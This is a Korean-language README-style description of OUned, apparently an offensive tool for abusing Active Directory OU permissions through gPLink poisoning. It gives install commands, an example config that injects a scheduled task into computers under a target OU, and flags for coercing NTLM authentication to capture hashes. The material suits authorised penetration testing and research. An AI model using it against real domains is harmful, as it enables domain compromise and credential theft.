
gPLink 포이즈닝을 통해 Active Directory Organizational Units ACL 악용을 자동화하는 OUned 프로젝트
OUned 프로젝트는 gPLink 조작을 통해 OU(Organizational Units) ACL 남용을 자동화하는 익스플로잇 도구입니다.
공격의 배경 원리, 필요한 설정, 도구 사용 방법에 대한 자세한 설명은 관련 기사를 참조하십시오: https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory
설치는 저장소를 클론한 후 의존성을 설치하여 수행할 수 있습니다:
$ git clone https://github.com/synacktiv/OUned
$ python3 -m pip install -r requirements.txt
OUned 인자는 구성 파일을 통해 제공됩니다. 저장소에는 예제 파일 config.example.ini가 포함되어 있습니다.
각 항목은 주석으로 설명되어 있지만, 자세한 구성 지침은 위 서두에서 언급한 기사를 참조하십시오.
[GENERAL]
# The target domain name
domain=corp.com
# The target DC. If not specified, defaults to the domain name
#dc=192.168.123.10
# The Distinguished Name of the target container
containerDN=OU=SERVERS,DC=corp,DC=com
# The username and password of the user having write permissions on the gPLink attribute of the target container
username=naugustine
password=Password1
# The IP address of the attacker machine on the internal network
attacker_ip=192.168.123.16
# The command that should be executed by child objects. Specifying a command will inject an immediate Scheduled Task
command=whoami > C:\poc.txt
# Alternatively to the 'command' option, you can provide a module file with the GroupPolicyBackdoor syntax - see https://github.com/synacktiv/GroupPolicyBackdoor/wiki. 'Command' and 'module' are mutually exclusive
# module=Scheduledtask_add_computer.ini
# The kind of objects targeted ("computer" or "user")
target_type=computer
[LDAP]
# The IP address of the dummy domain controller that will act as an LDAP server
ldap_ip=192.168.125.245
# Optional (used for sanity checks) - the hostname of the dummy domain controller
ldap_hostname=WIN-TTEBC5VH747
# The username and password of a domain administrator on the dummy domain controller
ldap_username=ldapadm
ldap_password=Password1!
# The ID of the GPO (can be empty, only needs to exist) on the dummy domain controller
gpo_id=7B7D6B23-26F8-4E4B-AF23-F9B9005167F6
# The machine account name and password on the target domain that will be used to fake the LDAP server delivering the GPC
ldap_machine_name=OUNED$
ldap_machine_password=some_very_long_random_password
[SMB]
# The SMB mode can be embedded or forwarded depending on the kind of object targeted
smb_mode=embedded
# The name of the SMB share. Can be anything for embedded mode, should match an existing share on SMB dummy domain controller for forwarded mode
share_name=synacktiv
# The IP address of the dummy domain controller that will act as a SMB server. Only useful in forwarded mode
#smb_ip=192.168.126.206
# The username and password of a user having write access to the share on the SMB dummy domain controller. Only useful in forwarded mode
#smb_username=smbadm
#smb_password=Password1!
# The machine account name and password on the target domain that will be used to fake the SMB server delivering the GPT. Only useful in forwarded mode
#smb_machine_name=OUNED2$
#smb_machine_password=some_very_long_random_password
OUned를 실행할 때 유일한 필수 인자는 구성 파일의 경로를 지정하는 --config 플래그입니다.
--just-coerce 및 coerce-to 플래그는 SMB 인증 강제 모드에서 사용됩니다. 이 모드에서 OUned는 OU 하위 개체의 SMB 인증을 지정된 대상으로 강제합니다. 자세한 내용은 서두에 링크된 기사를 참조하십시오.
--just-clean 플래그에 대해서는 다음 섹션을 참조하십시오.
python3 OUned.py --help
Usage: OUned.py [OPTIONS]
╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --config TEXT The configuration file for OUned [default: None] [required] │
│ --skip-checks Do not perform the various checks related to the exploitation setup │
│ --just-coerce Only coerce SMB NTLM authentication of OU child objects to the destination specified in the --coerce-to flag, or, if no destination is │
│ specified, to a local SMB server that will print their NetNTLMv2 hashes │
│ --coerce-to TEXT Coerce child objects SMB NTLM authentication to a specific destination - this argument should be an IP address [default: None] │
│ --just-clean This flag indicates that OUned should only perform cleaning actions from specified cleaning-file │
│ --cleaning-file TEXT The path to the cleaning file in case the --just-clean flag is used [default: None] │
│ --verbose Enable verbose output │
│ --help Show this message and exit. │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
기본적으로, 기사에서 설명한 대로, OUned는 정리 작업을 수행하며 그중에서도 대상 도메인의 원래 gPLink 값을 복원합니다. 익스플로잇이 정상적으로 종료되지 못한 경우를 대비하여, OUned는 익스플로잇이 실행될 때마다 정리 파일(cleaning file)을 생성합니다. 이 파일은 나중에 --just-clean 플래그를 사용하여 정상 값을 복원하는 데 사용할 수 있습니다. 예를 들어:
$ python3 OUned.py --config config.example.ini --just-clean --cleaning-file cleaning/FINANCE/2024_04_14-05_02_46.txt